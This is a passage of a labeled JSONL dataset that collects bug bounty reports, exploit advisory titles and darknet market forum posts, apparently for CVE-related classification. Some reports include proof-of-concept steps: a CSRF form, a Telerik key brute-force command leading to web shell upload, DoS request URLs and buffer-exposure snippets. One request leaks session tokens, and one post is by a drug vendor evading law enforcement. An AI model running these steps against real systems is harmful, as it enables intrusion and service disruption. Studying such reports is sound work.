intentions they have been unwavering.Carry on like I said I don't need to withdraw any coins. As for my business I'm patient.", "source": "gayanku", "timestamp": "2014-03-10", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "1b0e9299932f43e9e54a", "text": "Cayin Signage Media Player 3.0 Root Remote Command Injection\n\nSeverity: high", "source": "zeroscience", "timestamp": "2020-06-04", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "4c21ea9bd702bd7d1dfa", "text": "[Cross-Site Request Forgery (CSRF)] CSRF AT SUBSCRIBE TO LIST\n\nHello,\n\nYou Have Subscribe Form At http://paragonie.us11.list-manage2.com/subscribe?u=260ff2c88e0a7e103f01ccd79&id=8ddb8569ca\n\nWhen We Enter Details And Click on Subscribe.\n\nWe Get Following Request\n\n<html>\n <body>\n <form action=\"http://paragonie.us11.list-manage.com/subscribe/post\" method=\"POST\">\n <input type=\"hidden\" name=\"u\" value=\"260ff2c88e0a7e103f01ccd79\" />\n <input type=\"hidden\" name=\"id\" value=\"8ddb8569ca\" />\n <input type=\"hidden\" name=\"MERGE0\" value=\"victim@gmail.com\" />\n <input type=\"hidden\" name=\"MERGE1\" value=\"arbaz\" />\n <input type=\"hidden\" name=\"MERGE2\" value=\"hussain\" />\n <input type=\"hidden\" name=\"MERGE3\" value=\"google\" />\n <input type=\"hidden\" name=\"EMAILTYPE\" value=\"html\" />\n <input type=\"hidden\" name=\"b_260ff2c88e0a7e103f01ccd79_8ddb8569ca\" value=\"\" />\n <input type=\"hidden\" name=\"submit\" value=\"Subscribe to list\" />\n <input type=\"submit\" value=\"Submit request\" />\n </form>\n </body>\n</html>\n\nJust Try to Add Email ('MERGE0') And Pass the Request , Attacker can Also send that Form Request to Burp Intruder by Adding Email List To Send Confirmation Link to ALL as Spam Or He Can Perform CSRF attack TO Send Confirmation By Using Above POC Code,\n\n\nThanks!", "source": "hackerone", "timestamp": "2016-05-05", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "671666c30cd515b84dea", "text": "[Path Traversal] https://██████/ Vulnerable to CVE-2013-3827 (Directory-traversal vulnerability)\n\n**Description:**\n\nHi team,\nhttps://█████/ using older version of Oracle JavaServer which is vulnerable to CVE-2013-3827. \n\n**POC:**\nhttps://█████/████\n\n## References\nhttps://www.securityfocus.com/bid/63052/info\nhttps://www.exploit-db.com/exploits/38802\n\n## Impact\n\n* Directory-traversal\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\nOracle JavaServer\n\n## CVE Numbers\nCVE-2013-3827\n\n## Steps to Reproduce\nGo to https://██████████/██████\n\n## Suggested Mitigation/Remediation Actions\nUpdate your Oracle JavaServer", "source": "hackerone", "timestamp": "2021-08-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "7f22cae2637336881bcd", "text": "[Information Disclosure] CVE-2019-3403 on https://████/rest/api/2/user/picker?query=\n\n**Description:**\n\nThe endpoint at\n\n```\nhttps://████████/rest/api/2/user/picker?query=\n```\nSuffers from \nCVE-2019-3403\n\nDue to old version of jira.\n\n{F125281}\n\n## References\nhttps://nvd.nist.gov/vuln/detail/CVE-2019-3403\n\n~@naglinagli\n\n## Impact\n\nThe /rest/api/2/user/picker rest resource in Jira before version 7.13.3, from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1 allows remote attackers to enumerate usernames via an incorrect authorisation check.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nNavigate to https://██████/rest/api/2/user/picker?query=admin\n\n## Suggested Mitigation/Remediation Actions\nUpdate the jira version", "source": "hackerone", "timestamp": "2021-06-03", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "c836b53b9637ac8f93fc", "text": "[Code Injection] Log4j RCE on https://judge.me/reviews\n\nSummary:\nCVE-2021-44228, also named Log4Shell or LogJam, is a Remote Code Execution (RCE) class vulnerability. If attackers manage to exploit it on one of the servers, they gain the ability to execute arbitrary code and potentially take full control of the system.\nWhat makes CVE-2021-44228 especially dangerous is the ease of exploitation: even an inexperienced hacker can successfully execute an attack using this vulnerability. According to the researchers, attackers only need to force the application to write just one string to the log, and after that they are able to upload their own code into the application due to the message lookup substitution function.\n\nSupporting Material/References:\nPicture and Logs was Uploaded as a proof.\n\nhttps://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability\n\nRemediation:\nUpdate the log4j jar to 2.15 or 2.16\n\n## Impact\n\nSuccessful attack leads Arbitary Code Execution on the application", "source": "hackerone", "timestamp": "2021-12-21", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2c4f6517d5b056ee592f", "text": "[Agora] Trip_Advisor Official Review Thread\n\njust to let everyone know i have been busy. im certainly not slowing down my operation because i have so much free time on my hands hehh. i was also investigating how serious of an issue this (https://blog.torproject.org/blog/openssl-bug-cve-2014-0160) potentially was for me as a dnm vendor. as of yesterday all pending orders have been sent. thursday through saturday is going to the be the touch down date for most people. i cant stress enough how sorry i am that everyone had to go through this much amount of stress with me. i am vowing to not allow it to happen again so please just allow me some time to get things in order. i promise the end result will be worth it for everyone. p.s. i dodge tracking requests because at any given time LE is ordering from me. giving out tracking to everyone asking when I have 40plus orders going out is not a good idea for anyone security wise. if anyones pack does not show by the weekend i will be happy to release tracking as it will be a legitimate dispute.", "source": "gayanku", "timestamp": "2014-04-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "db101c5234315436c74f", "text": "[Business Logic Errors] No rate limiting - Create data\n\n## Summary:\n\nHello team Stripo, how are you?\n\nI found a rate limit for data creation.\n\nTarget = https://my.stripo.email/cabinet/#/my-services/298427?tab=data-sources\n\nRequest to Post:\n\n```\nPOST /emailformdata/v1/amp-lists?projectId= HTTP/1.1\nHost: my.stripo.email\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json;charset=UTF-8\nCache-Control: no-cache\nPragma: no-cache\nExpires: Sat, 01 Jan 2000 00:00:00 GMT\nX-XSRF-TOKEN: 3ef1a2b8-f640-457b-bac8-1d629d0f9498\nContent-Length: 198\nOrigin: https://my.stripo.email\nConnection: close\nReferer: https://my.stripo.email/cabinet/\nCookie: amplitude_id_246810a6e954a53a140e3232aac8f1a9stripo.email=eyJkZXZpY2VJZCI6ImU1NjAwZjk3LTFiY2QtNDIzOS1iZTczLWNmNWVhYmMzMTJkZFIiLCJ1c2VySWQiOm51bGwsIm9wdE91dCI6ZmFsc2UsInNlc3Npb25JZCI6MTYwNjc0NjU3NzcwMCwibGFzdEV2ZW50VGltZSI6MTYwNjc0Njg1ODg3OCwiZXZlbnRJZCI6MCwiaWRlbnRpZnlJZCI6MCwic2VxdWVuY2VOdW1iZXIiOjB9; _pin_unauth=dWlkPU1UUTFZemczWlRFdE1HSXdOeTAwT1Rrd0xUbGxNVEl0TWpBeE16WmpZVE00WlRZNA; _ga=GA1.2.730792257.1605012362; _pin_unauth=dWlkPU1UUTFZemczWlRFdE1HSXdOeTAwT1Rrd0xUbGxNVEl0TWpBeE16WmpZVE00WlRZNA; G_ENABLED_IDPS=google; __stripe_mid=e5538cc4-3896-4b96-b703-711ef38535d3313b41; _ga=GA1.3.730792257.1605012362; _gid=GA1.2.1102057235.1606746578; __stripe_sid=fcbc15d6-fe33-41ca-bd12-ad2a6fd80eb5a7fc3c; token=eyJhbGciOiJSUzUxMiJ9.eyJhdXRoX3Rva2VuIjoie1widXNlckluZm9cIjp7XCJpZFwiOjI5NDA3NyxcImVtYWlsXCI6XCJqYWFhaGJvdW50eUBnbWFpbC5jb21cIixcImxvY2FsZUtleVwiOlwicHRcIixcImZpcnN0TmFtZVwiOlwic2NyaXB0XCIsXCJsYXN0TmFtZVwiOlwiYm91bnR5XCIsXCJmYWNlYm9va0lkXCI6bnVsbCxcIm5hbWVcIjpudWxsLFwicGhvbmVzXCI6W10sXCJhY3RpdmVcIjp0cnVlLFwiZ3VpZFwiOm51bGwsXCJhY3RpdmVQcm9qZWN0SWRcIjoyOTg0MjcsXCJzdXBlclVzZXJWMlwiOmZhbHNlLFwiZ2FJZFwiOlwiY2JlOWMzMjItMDNhNS00NzQxLTlkMjYtNTc3MTc1MGI0M2MwXCIsXCJvcmdhbml6YXRpb25JZFwiOjI5MzgxNCxcIm93bmVkUHJvamVjdHNcIjpbMjk4NDI3XSxcImZ1bGxOYW1lXCI6XCJzY3JpcHQgYm91bnR5XCJ9LFwiaXNzdWVkQXRcIjoxNjA2NzQ2NjIwODUxLFwiYXBpS2V5XCI6bnVsbCxcInByb2plY3RJZFwiOm51bGwsXCJ4c3JmVG9rZW5cIjpcIjNlZjFhMmI4LWY2NDAtNDU3Yi1iYWM4LTFkNjI5ZDBmOTQ5OFwiLFwicm9sZVwiOlwiQ0FCSU5FVF9VU0VSXCIsXCJhdXRob3JpdGllc1wiOltdfSIsImV4cCI6MTYwNjgzMzAyMH0.qRAbnSN-DZWyUTUezJREviXpSgK1o_8U-3Rgt0xioXjID4apoWkfmPjt0vSnMcTRiF3oNLZmLC2FqnnMlMqqZb_v1Pv9Dn_gHSWOAF2s9IHn0tfJVPPh0BMTxDYfcFlvfMnGz9DMx7v4ETv7PJcSUwDBlFCMXcQ-kEa0AcSjOj7edpMJ2T18Xje3MgLx0Iq_u44HhYWxMaclL8FisL6Dqa13hQKijlCiV-H_jJSxEGpHgtUE0RPBI7kmWSMdW6flncHdf43S7An15uNxe6Dq6dbkuP3wpO_nO6IwNJLcxnt6s9_-ETCHXZIjMuNTKTs5zi0GoOA1OJ_8A1kCkN2cGal5ghD3fKpC4Slk5HkriZCHSvGf7tBgWJY7JCWCNMvucuKsUAeDjucFxB-wscr7iX6q6huJpCsa8gNNL_qR6PzwYF1kHuBRPTHCtF_PEcuqnc6LGfe9mCe6khdfGDKELGoTg8FtjZ-ce84oIhNLOSajzkJ3pbQ2vXB8B3Sm4lkjU85RzTMYhrNAF0zz6ZOzYqShg-QG60Yr66i07OcUXbw66R0ZH8YmH-ildoRtoJKNyloEuVMi-mz-KYZcRda1GHdBX-iEMto3ZXW7YL08DjdM9y07f0GnsSY_lBr_--nq73PxFd415D1sduoKkTDoSzOYIGT3dBK2D2PXpxiUUTs; _gid=GA1.3.1102057235.1606746578; JSESSIONID=A774ECEC8E8D7FB9527BC02A723054F8; intercom-session-b1m243ec=VWpock85SEcyYnRMZlVJcms0N1VCelVvdXd5b0J6eTFEWFh1QWIrZUpzSUlwbW8yT2RpdnZJamRnM3JtL3QrNi0tSVpVekFtR0s5c3RYV29MOGg5OUpQdz09--5e28d4d448f59bec98135e9bf373ff2ad64ab50d; _gat_UA-96386569-1=1\n\n{\"projectId\":298427,\"name\":\"ukibxiv4daehs7wdnupej63kgbm1aq.burpcollaborator.net\",\"description\":\"ukibxiv4daehs7wdnupej63kgbm1aq.burpcollaborator.net\",\"url\":null,\"identifier\":null,\"sourceType\":\"JSON\"}\n```\nThanks @OFJAAAH\n\n## Impact\n\nThe attacker can charge the application, creating massively.", "source": "hackerone", "timestamp": "2021-01-05", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "60390b75c2e9b6d3a65e", "text": "[Information Disclosure] Internal IP Address Disclosure at https://www.lahitapiolarahoitus.fi/wp-json/wp/v2/pages\n\n## Basic report information\n**Summary:** \nHello, i found an internal ip address at https://www.lahitapiolarahoitus.fi/wp-json/wp/v2/pages.\n\n**Description:** \nWhile digging the path in /wp-json/ directory, i found this url : https://www.lahitapiolarahoitus.fi/wp-json/wp/v2/pages and when i request this using Burp the internal ip address is leak in the response text.\n\n**Impact:**\nThis information can help an attacker to identify other vulnerabilities in the future.\n\n## Browsers / Apps Verified In:\n\n * Firefox ESR\n\n## Steps To Reproduce:\n\n1. Open this https://www.lahitapiolarahoitus.fi/wp-json/wp/v2/pages in your browser.\n2. You will find this response : guid\":{\"rendered\":\"http:\\/\\/192.168.100.13\\/?page_id=401\"}.\n\n### Request\n\n ```\nGET /wp-json/wp/v2/pages HTTP/1.1\nHost: www.lahitapiolarahoitus.fi\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nCookie: BIGipServerltr-prod_pool=224700608.20480.0000; TS01974a5b=0147052ac5151e01685567c85592aeda525d438000cfd6900beac37eb4d3ee457dbb9cda10259a7a56ccc6a3d09f0a5070f0a4ffba3fbd67e61eb198dbcb21ebb300f93d29; pll_language=fi\nConnection: close\n```\n\n### Response\n\n```\n[{\"id\":401,\"date\":\"2018-01-23T11:50:52\",\"date_gmt\":\"2018-01-23T11:50:52\",\"guid\":{\"rendered\":\"http:\\/\\/192.168.100.13\\/?page_id=401\"},\"modified\":\"2018-01-23T12:10:19\",\"modified_gmt\":\"2018-01-23T12:10:19\",\"slug\":\"allekirjoitus-valmis\",\"status\":\"publish\",\"type\":\"page\",\"link\":\"https:\\/\\/www.lahitapiolarahoitus.fi\\/allekirjoitus-valmis\\/\",\"title\":{\"rendered\":\"Allekirjoitus valmis\"}....\n{\"id\":236,\"date\":\"2017-12-12T09:08:25\",\"date_gmt\":\"2017-12-12T09:08:25\",\"guid\":{\"rendered\":\"http:\\/\\/localhost:82\\/wordpress\\/?page_id=236\"},\"modified\":\"2017-12-12T09:08:25\",\"modified_gmt\":\"2017-12-12T09:08:25\",\"slug\":\"tietoja-evasteista\",\"status\":\"publish\",\"type\":\"page\",\"link\":\"https:\\/\\/www.lahitapiolarahoitus.fi\\/tietoja-evasteista\\/\"......\n```\n\n## Additional material\n\n * {F278603}\n\n## Related reports, best practices\n\n * https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed\n\n## Impact\n\nThis information can help an attacker to identify other vulnerabilities in the future.", "source": "hackerone", "timestamp": "2018-04-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "6f5301318674cd7a04cb", "text": "[Cryptographic Issues - Generic] RCE on https://█████/ Using CVE-2017-9248\n\nSummary:\nhttps://█████████/ is hosting an unpatched version of the Telerik DialogHandler Telerik.Web.UI.DialogHandler.aspx allowing for the machine key to be brute forced. The machine key can be used to access the DNN file manager to upload arbitrary files including ASPX giving a web shell and RCE.\n\nDescription:\nTelerik has a known cryptographic weakness in older versions of the Dialog Handler which when exploited can be used to brute force the machine key and gain access to the DNN file manager. The file manager allows for ASPX shell upload and RCE.\n\nStep-by-step Reproduction Instructions\nHit https://███/Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.DialogHandler.aspx and notice the handler dialog message.\nDownload https://github.com/bao7uo/dp_crypto to make brute force simple and run: \npython dp_crypto.py -k https://███████/Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.DialogHandler.aspx 88 all 21\n\nWait for the script to finish and the key will be integrated into a link to the file manager for DNN.\nYou can use this link to upload arbitrary files to DNN. I uploaded a PNG for proof but ASPX works just as well here. I had to do a little trial and error on this one, it uses the ASCII character set and figuring out a key length of 88 took a little doing but going longer than the real key causes the base64 to start validating again from the beginning so in a test of 128 key length I was able to see the key repeat at the 89th position.\n\nhttps://████████/Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.DialogHandler.aspx?DialogName=DocumentManager&renderMode=2&Skin=Default&Title=Document%20Manager&dpptn=&isRtl=false&dp=HBJ/KxQ5LRscHB8ELSgfLDIsMUYUZxs2HAchCS1mEEYfLTllLCoDGwJaCCszEhxzF2YULSsCIUsCLDY+Nj0MQQAoIiMtEyFyGBMbTixmJQIAPgBPAwYIVRcoMi8fA2QeFxMDWhUSAzkIMwdcGAMYcCwtMQAvExNZNhc5dxYTLQ0XOS09HRMYOilnA3IaKB9EFC0yPgY9YFkXOCIFFhMUPRcGIgMCdBwDGyIpCzNje1YbAgxzLBwYBBsMGwAVFiYNHS05RBRKJhQbPV9DAWULWQsMC1ouAhcfKSIIKzI4fzkBdgQ8KxIcQgMpHBMfBypFFFofex8QGAEvOBMTLHcDci8tIRQLFm9RFAMEMSwDYA0BAQtZLQ0fFh0vBEMbeAB0FD4TNBcMLWMxEzlGFhMHMCw9IisEZyZ1F2MuAhYSMUsUORM/Hi4QRQMvPTUCABgKL2cbEix3OQIUIjkIM2MIbBcdGCwBEQ8fLwwfXQMBEAkeWxNAL3ccBi0HXkktZhNMA2Z4RSsDAwIpLBg+M2YQMxd3ADwZDSVGFD9RLzA9DEEfBhwxLHY5NAAWIk0YXTlYKUspEDUWVUcCAxg6KQMABAAHKVAtEhxPBC0PRh1kPg8tWykILwNwYDBnF1ouBy0wFD0iPQsGPTkBdQwtLQ0HXQFaMnM2LQ9LLwYcMR0DAC8vEmwULQEXXCk9DAsDPHtOLXcfMAAXIkAZAxdEFXYHEgtZHEMfXQw2LVgyCQMXPVQELhMAGSgPOR0+LhILAjIvLl06NwMuG0EXPRwxCFoLXhcGNjcuHD43L2dhDxx3OVwvPVIWBxlRShQQfysvAwAEHykXQix3BAkcKDFnHwEQPxkGDzEtEwMAHAIpURl0OUYbBgw1NQMAGxheFC4dPyUEGi0QFDEsNWooIwAjAgFZdRQ4YCkrZxxNKDIbNTBgdw8ZEQQUKRIlLwMQE2QZdQtLBj0tWy93BDcbBCUgGGctBwU6LQMVdQ8/GwQUJgYQOjQUaD10GAM5aR0yMhAEPS1IHj4AIy0DIjIZOxcTA1oEARktGzo0FAwIAA0iDiw4E0QZHD0CFXQUAAcFB1sedhBwGQY2AioCNWwEPgNaLREPDRkvFAQEAhgbHl4YLRl1fHwZBgw0BD0QSyksIisuLi5zGQIlPSxmOWwbLiUoAxRoRBopLggsEWUOGBAQBh4SKQkzWC1+KWcydS8yJQkUAgtZMBMXWisDOQEvAyIACAIyORdjIT8DABNZLCIqKw==\n\nhttps://████/GSP.png\n\nProduct, Version, and Configuration (If applicable)\nTelerik <= 2017.1.118\n\nSuggested Mitigation/Remediation Actions\nPatch Telerik or switch to a different editor like CKEditor.\n\n## Impact\n\nCritical: Exploitation allows for a web shell, defacement, etc through arbitrary unrestricted file uploads.", "source": "hackerone", "timestamp": "2019-10-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ff748ae27f9d9ea7d2b5", "text": "[Uncontrolled Resource Consumption] load scripts DOS vulnerability\n\n1) vulnerability description\n\nWordPress allows users to load multiple JS files and CSS files through load-scripts.php files at once. For example, https://wpwebsite.com/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core,editor&ver=4.9.1, file load-scripts.php will load jquery-ui-core and editor files automatically and return the contents of the file.\n\nHowever, the number and size of files are not restricted in the process of loading JS files, attackers can use this function to deplete server resources and launch denial of service attacks.\n\n(check references for more details about the vulnerability)\n2) attack details\n\n*affected link : http://blog.praca.olx.pl/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core&ver=4.9.1\n\n*proof of concept ( description );\n\nthe load-scripts.php file was receiving a parameter called load[]. This parameter is an array that was receiving the names of the JS files that needed to be loaded. In this case, it was receiving jQuery UI Core, which is the name of one of the Javascript files used by the WordPress login page. (it can be longer, this is just an example)\nAs no rate-limiting is setup for this URL - then DoS comes real\n\n*proof of concept ( link ) ;\nhttp://blog.praca.olx.pl/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core&ver=4.9.1\n\n3) how to fix\n\nThe web application firewall will mitigate attacks by adding the following to .htaccess -file:\n\n<Files load-scripts.php>\n\nOrder allow, deny\n\nDeny from all\n\n</Files>\n\n4) vulnerability classification:\n\n*owasp 2017 top 10 (A9 Using Components with Known Vulnerabilities )\n\n*CVE( Common Vulnerabilities and Exposures ) : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389\n\n5) references:\n\nhttps://blog.threatpress.com/wordpress-vulnerability-dos/\n\nhttps://baraktawily.blogspot.com/2018/02/how-to-dos-29-of-world-wide-websites.html\n\n## Impact\n\nDenial of service", "source": "hackerone", "timestamp": "2020-03-19", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ddc5a83ea1af8f09ef5c", "text": "Apple iTunes 10.6.1.7 M3U Playlist File Walking Heap Buffer Overflow\n\nSeverity: high", "source": "zeroscience", "timestamp": "2012-06-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "1636c52bbbe4d6612f7f", "text": "[Out-of-bounds Read] `concat-with-sourcemaps` allocates uninitialized Buffers when number is passed as a separator\n\nI would like to report an uninitialized Buffer allocation issue in `concat-with-sourcemaps`.\nIt allows to extract sensitive data from uninitialized memory or to cause a DoS by passing in a large number, in (unlikely) setups where `separator` is attacker-controlled.\n\n# Module\n\n**module name:** `concat-with-sourcemaps`\n**version:** 1.0.5\n**npm page:** `https://www.npmjs.com/package/concat-with-sourcemaps`\n\n## Module Description\n\n> NPM module for concatenating files and generating source maps.\n\n## Module Stats\n\n65 161 downloads in the last day\n360 873 downloads in the last week\n1 506 421 downloads in the last month\n\n~18 077 052 estimated downloads per year\n\n# Vulnerability\n\n## Vulnerability Description\n\nSee https://github.com/floridoo/concat-with-sourcemaps/blob/master/index.js#L18\n\nThe problem arises when a number is passed as a separator. That is unlikely to be attacker-controlled in real-world setups, but not impossible. The API should not propagate the already-bad Buffer issue further.\n\nOn Node.js 6.x and below, this exposes uninitialized memory, which could contain sensitive data.\n\nOn all Node.js versions, this can cause a DoS when a big enough number (e.g. 1e8 or 1e9) is specified as a separator.\n\n## Steps To Reproduce:\n\nUninitialized memory exposure (Node.js 6.x and below):\n\n```\nconst Concat = require('concat-with-sourcemaps');\nvar concat = new Concat(true, 'all.js', 234); // separator is 234\nconcat.add(null, \"// (c) John Doe\");\nconcat.add('file1.js', \"const a = 10;\");\nconcat.add('file2.js', \"const b = 20;\");\nconsole.log(concat.content.toString('utf-8'));\n```\n\nDoS (any Node.js version):\n\nUse e.g. 1e8, 1e9, or 1e10 to cause different effect (and depending on the Node.js version).\n\n```\nconst Concat = require('concat-with-sourcemaps');\nvar concat = new Concat(true, 'all.js', 1e8); // separator is 234\nconcat.add(null, \"// (c) John Doe\");\nconcat.add('file1.js', \"const a = 10;\");\nconcat.add('file2.js', \"const b = 20;\");\nconsole.log(concat.content.toString('utf-8'));\n```\n\n## Supporting Material/References:\n\n- OS: Arch Linux current\n- Node.js 9.5.0\n- npm 5.6.0\n\n# Wrap up\n\n- I contacted the maintainer to let him know: N\n- I opened an issue in the related repository: N\n\n## Impact\n\nSensitive uninitialized memory exposure (on Node.js 6.x and below)\nDenail of Service", "source": "hackerone", "timestamp": "2018-04-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3121e8b1c1413f565b72", "text": "[Memory Corruption - Generic] BN_hex2bn/BN_dec2bn NULL pointer deref/heap corruption (CVE-2016-0797)\n\nhttps://openssl.org/news/secadv/20160301.txt", "source": "hackerone", "timestamp": "2016-03-27", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "fb05771155b0ee06f601", "text": "Delta Industrial Automation DCISoft 1.12.09 Stack Buffer Overflow Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2016-02-14", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "2db6edb6f1a3ddefc0de", "text": "[Information Disclosure] nginx version disclosure on downloads.gratipay.com\n\nHello,\n\nNavigating to http://downloads.gratipay.com/Error goes to a 404 error page disclosing your Nginx version. Server information should be protected since anyone with a bad intent on would try to find exploit for the specified server version.\n\nThanks,\nFootstep", "source": "hackerone", "timestamp": "2017-05-18", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d436b9a01f9dacaccaac", "text": "[Use After Free] Heap Use After Free Read in unserialize()\n\next/standard/var_unserializer.re in PHP 7.0.x through 7.0.22 and 7.1.x through 7.1.8 is prone to a heap use after free while unserializing untrusted data, related to improper use of the hash API for key deletion in a situation with an invalid array size. Exploitation of this issue can have an unspecified impact on the integrity of PHP.\n\nThis is CVE-2017-12932 and the bug report confirming that I reported the issue is here: https://bugs.php.net/bug.php?id=74103", "source": "hackerone", "timestamp": "2018-11-27", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2fe18863c5c26e5fdaa5", "text": "iBilling v3.7.0 Multiple Stored and Reflected Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2016-06-24", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "116ebebc77e39a474ec6", "text": "[Agora] AGORA HAS A NEW LINK? HEARTBLEED?\n\nIt seems that only the Forum has changed its URL.Before it was:http://i4rx33ibdndtqayh.onion/Now it is:http://lacbzxobeprssrfx.onionJust had to change the entry for it in my WhiteList on NoScript.And a few Bookmarks on my Bookmark-Bar.Also if you reach the Market under it's usual URL you will most likely fail or in the end just see this:QuoteThe page has been moved to http://agorahooawayyfoe.onion/-----BEGIN PGP SIGNED MESSAGE-----Hash: SHA1Agora Announcement 2014-04-11Earlier this week the details of a serious bug in the OpenSSL library were made public. This bug which affected a large number of web servers and devices was popularly referred to as 'Heartbleed'. The bug allows anybody connecting to a vulnerable service to reveal the contents of memory on the server - and thus reveal secret keys user information passwords etc.There is more information about the bug and the versions of OpenSSL that are affected at the website setup for the bug:http://heartbleed.com/Agora is a hidden service served on the Tor network and while Agora itself does not use the vulnerable library the Tor software that makes up the network was affected by this bug in some instances since it integrates the OpenSSL library. The Tor project wrote a blog post about how this bug affects various aspects of the Tor service:https://blog.torproject.org/blog/openssl-bug-cve-2014-0160For users of the Tor Browser Bundle you should upgrade to the latest release version immediately as the bundled version of Tor is vulnerable to the attack. Get the latest Tor Browser Bundle version from http://torproject.orgFor Agora as a hidden service we have investigated the possibilities of exploitation and to our current best knowledge the most an attacker could hope to gain in a hypothetical situation of successful exploitation is the ability to impersonate the hidden service.The Tor blog post on this subject states:\"Like the last big OpenSSL bug this shouldn't allow an attacker to identify the location of the hidden service but an attacker who knows the hidden service identity key can impersonate the hidden service.\"At this time even an attack like that is looking unlikely and we haven't seen any signs of it being successfully executed. However since the underlying bug is very serious and has been in the wild for an unclear amount of time we will be taking the necessary precautions and shall hereby recycle all our previously used hidden service keys.Effectively this means that we need to change the address of the market.Additionally we have decided to take the market down for some time so we can fully investigate the effects and change all servers used by it in order to fully protect ourselves from any hypothetical damage or information leaks. We estimate that this process will be complete by the end of the week. We do understand that this is a big inconvenience for many of you but please understand that we do this for the sake of your anonymity as well.The new address to be used from now on to access Agora when it's available will be:http://agorahooawayyfoe.onionThe address to access Agora Forums is:http://lacbzxobeprssrfx.onionWe are constantly vigilant about new threats and the security of our market and users and are taking these steps as a precaution.-----BEGIN PGP SIGNATURE-----iQIcBAEBAgAGBQJTSEzTAAoJELCkZxCnK9YVMTMP/iRZGrHvG3GHdqn0ikj5lssGCwtrITbJ2bSchVxn6YP3CTqqyS/ynbECJ6cLYqI2U7BZl2K4lWarLSNTgHzBqiifX3bVG7yZV1S5GTvoeiWgwmw2mwPSEcqN0dFj/ZvYjkg/alSah7F/5uUGNsg3kbeR4EWSP99q480ncWuwYrQA0x29ntdQ1AjXFsCnOIk/0yDTYW+0/Va1Glmdr5bQcN7TMwEBq3JXIi+GViRCltrdS5l9zZCbS8PV9NZvyMA4pxjCGsXbB6tPML3MUyX4sopAy2hC6CnykmsqCT6Zl79IyKg+hrzM9enxxv1hupFn7cqq6OETsEKU2eUaiKfKpUsOZ9QuKWMqMhmkbaKRe3ffBfo3rmKeDqc56b5Hc6dUOeVTvC2ipZO80rUSowjV42qN1uKJc0tfpTYDR/UuOdUStMjlQCALJCZp/lXpxABlQ5Vv0BOfRFELGzZOkMv9UcdjiU0VC2Wm935YPv7buyhdQzBrKFb++VhLenT21AM59y+jnVjYvkTuw3aNXoBLyRhz22cyAupeWX0GDnyi2nM6QWf3KM/cm7e+JceG24vryIUf2tgwdLfmWA4brD20tT1g1lGzdE6988CUiDyeNgrHRh/KXxgH7xkhQ0kVIbSaEt5bHZOUxk1EnohILVqkThjVFeiDKLxzdB4wNckJEIdP=E2zd----- endpgp signature -----So", "source": "gayanku", "timestamp": "2014-04-11", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6338ad17e43c9fad4b97", "text": "[Buffer Over-read] Heap-buffer-overflow in Perl__byte_dump_string (utf8.c) could lead to memory leak\n\nWith crafted regex match, I have found a heap-over-flow in function Perl__byte_dump_string, which would lead to memory leak.\n* Reported to the [Perl security mailing list](https://rt.perl.org/Public/Bug/Display.html?id=132063) on 11 Sep 2017.\n* Confirmed as a security flaw by TonyC on 24 Feb 2018\n* CVE-2018-6797 assigned to this flaw on 7 Feb 2018\n* [Public security advisory](https://github.com/Perl/perl5/blob/blead/pod/perl5262delta.pod) released on 14 April 2018\n```\n=================================================================\n==2895==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb610081c at pc 0x08a72387 bp 0xbfea6038 sp 0xbfea602c\nWRITE of size 4 at 0xb610081c thread T0\n #0 0x8a72386 in S_pack_rec /root/karas/perl5-blead/pp_pack.c:2703:17\n #1 0x8a42706 in Perl_packlist /root/karas/perl5-blead/pp_pack.c:1980:11\n #2 0x8a73626 in Perl_pp_pack /root/karas/perl5-blead/pp_pack.c:3135:5\n #3 0x84dc7ac in Perl_runops_debug /root/karas/perl5-blead/dump.c:2465:23\n #4 0x818858a in S_fold_constants /root/karas/perl5-blead/op.c:4557:2\n #5 0x8186c5a in Perl_op_convert_list /root/karas/perl5-blead/op.c:4896:12\n #6 0x8363e7e in Perl_yyparse /root/karas/perl5-blead/perly.y:889:23\n #7 0x8232350 in S_parse_body 